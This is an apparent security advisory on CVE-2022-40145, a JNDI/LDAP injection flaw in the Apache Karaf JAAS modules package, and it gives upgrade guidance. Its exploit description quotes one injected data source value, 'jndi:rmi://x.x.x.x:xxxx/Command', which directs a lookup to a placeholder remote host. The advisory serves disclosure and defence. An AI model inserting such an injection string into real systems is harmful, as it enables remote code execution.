LDAP Injection Affecting org.apache.karaf.jaas:org.apache.karaf.jaas.modules package, versions [,4.3.8) [4.4.0,4.4.2)
Threat Intelligence
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JAVA-ORGAPACHEKARAFJAAS-3180032
- published 22 Dec 2022
- disclosed 21 Dec 2022
- credit Unknown
Introduced: 21 Dec 2022
CVE-2022-40145 Open this link in a new tabHow to fix?
Upgrade org.apache.karaf.jaas:org.apache.karaf.jaas.modules to version 4.3.8, 4.4.2 or higher.
Overview
org.apache.karaf.jaas:org.apache.karaf.jaas.modules is a bundle that provides JAAS modules which can be used in Karaf (LDAP, JDBC, etc).
Affected versions of this package are vulnerable to LDAP Injection when the doCreateDatasource function uses InitialContext.lookup(jndiName) without filtering, which allows a user to use options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup.
Exploiting this vulnerability is possible by an attacker controlling the target LDAP server, when the JNDI LDAP data source URI is configured.